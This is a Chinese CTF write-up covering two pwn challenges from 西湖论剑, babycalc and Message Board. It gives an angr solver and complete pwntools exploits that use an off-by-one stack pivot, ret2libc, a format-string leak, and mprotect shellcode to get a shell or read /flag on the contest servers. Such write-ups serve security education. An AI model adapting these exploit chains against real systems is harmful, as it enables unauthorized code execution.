西湖论剑-pwn

第一次打西湖论剑,只做出了两道pwn题,那个jit到最后也没能看明白😞。

babycalc

如下图,输入0x100大小的数据可以修改栈上i的值,通过i与v3的偏移就可以修改栈上的任意一字节,而且输入后存在off-by-one

这里利用i与v3的偏移修改返回值为 leave ret的地址,只能更改一字节,这里修改为0x400C18,利用off-by-one改变rbp的值来实现栈迁移,具体效果如下:

由于栈每次启动的地址不同,还需要爆破栈地址,再ret2libc。

最后就是关于中间那个方程组的求解,我当时是直接头铁硬算的(其实还比较好算),赛后听说angr也能将结果跑出来,自己也尝试做了一下angr的解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import angr
import claripy

def Go():
proj = angr.Project('./babycalc')

start_addr = 0x40080a
init_state = proj.factory.blank_state(addr = start_addr)
init_state.regs.rbp = init_state.regs.rsp
init_state.regs.rsp -= 0x100

v3 = claripy.BVS('v3', 8)
v4 = claripy.BVS('v4', 8)
v5 = claripy.BVS('v5', 8)
v5 = claripy.BVS('v5', 8)
v6 = claripy.BVS('v6', 8)
v7 = claripy.BVS('v7', 8)
v8 = claripy.BVS('v8', 8)
v9 = claripy.BVS('v9', 8)
v10 = claripy.BVS('v10', 8)
v11 = claripy.BVS('v11', 8)
v12 = claripy.BVS('v12', 8)
v13 = claripy.BVS('v13', 8)
v14 = claripy.BVS('v14', 8)
v15 = claripy.BVS('v15', 8)
v16 = claripy.BVS('v16', 8)
v17 = claripy.BVS('v17', 8)
v18 = claripy.BVS('v18', 8)
val = [v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18]

for i in range(16):
stack_addr = init_state.regs.rbp - 0x30 + i
init_state.memory.store(stack_addr, val[i])

simgr = proj.factory.simgr(init_state)
find_addr = 0x400ba1
simgr.explore(find = find_addr)
if simgr.found:
solution_state = simgr.found[0]
for i in range(16):
real_val = solution_state.solver.eval(val[i])
print(real_val)
else:
raise Exception('Could not find!')

if __name__ == '__main__':
Go()

结果如下:

😋好神奇!angr真滴强!

完整exp

远程libc为2.23-0ubuntu11.3_amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import*
elf = ELF('babycalc')
libc = elf.libc
#libc = ELF('libc-2.23.so')
#p = process('./babycalc')
global p
context.log_level = 'debug'

def pwn():
pop_rdi = 0x400ca3
ret = pop_rdi + 1
rop1 = p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(ret) * 0x10 + p64(0x400650) #

payload = b'24\n'.ljust(0x28, b'\x00')
payload += rop1
payload = payload.ljust(0xd0, b'\x00')
payload += p8(19) + p8(36) + p8(53) + p8(70) + p8(55) + p8(66) + p8(17) + p8(161)
payload += p8(50) + p8(131) + p8(212) + p8(101) + p8(118) + p8(199) + p8(24) + p8(3)
payload = payload.ljust(0xf8, b'\x00')
payload += p32(0) + p32((0x38))
p.sendafter(b'number', payload)

p.recvuntil(b'\n')
leak = u64(p.recvuntil(b'\x7f', timeout=1).ljust(8, b'\x00'))
libcbase = leak - libc.sym['puts']
print(hex(libcbase))
sys_addr = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()

rop2 = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)

payload = b'24\n'.ljust(0x48, b'\x00')
payload += rop2
payload = payload.ljust(0xd0, b'\x00')
payload += p8(19) + p8(36) + p8(53) + p8(70) + p8(55) + p8(66) + p8(17) + p8(161)
payload += p8(50) + p8(131) + p8(212) + p8(101) + p8(118) + p8(199) + p8(24) + p8(3)
payload = payload.ljust(0xf8, b'\x00')
payload += p32(0) + p32((0x38))

#gdb.attach(p)
#pause()
p.sendafter(b'number', payload)
#pause()
p.interactive()

while True:
try:
#p = process('./babycalc')
p = remote('tcp.cloud.dasctf.com',26087)
pwn()
except Exception as e:
p.close()

Message Board

格式化字符串泄漏__libc_start_main函数地址,利用栈迁移到bss段继续执行ROP,使用mprotect函数更改bss的执行权限,最后执行shellcode。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
#p = process("./pwn")
p = remote('tcp.cloud.dasctf.com',22429)
context.log_level="debug"
context(arch = 'amd64', os = 'linux')
elf = ELF('pwn')
libc = elf.libc

bss = 0x4040b0
pop_rdi = 0x401413
leave_ret = 0x4012e1

p.sendlineafter(b'Welcome to DASCTF message board, please leave your name:',b'%31$p')
p.recvuntil(b'0x')
leak = int(p.recvuntil(b'\n', drop=True), 16)
libcbase = leak - 243 - libc.sym['__libc_start_main']
pop_rsi = libcbase + 0x2601f
pop_rdx = libcbase + 0x142c92
mprotect = libcbase + libc.sym['mprotect']

payload = b'a'*0xb0 + p64(bss + 0xb0) + p64(0x40136C)
p.sendafter(b'Now, please say something to DASCTF:', payload)

payload = flat(
p64(pop_rdi), p64(bss - 0xb0),
p64(pop_rsi), p64(0x1000),
p64(pop_rdx), p64(7),
p64(mprotect),
p64(bss + 0x40)
)
payload += asm(shellcraft.cat('/flag'))
payload = payload.ljust(0xb0, b'\x00')
payload += p64(bss -8) + p64(leave_ret)
p.sendafter('Now, please say something to DASCTF:', payload)
p.interactive()

西湖论剑-pwn
https://xtxtn.github.io/2023/02/07/xhlj-pwn/
作者
xtxtn
发布于
2023年2月7日
更新于
2023年2月16日
许可协议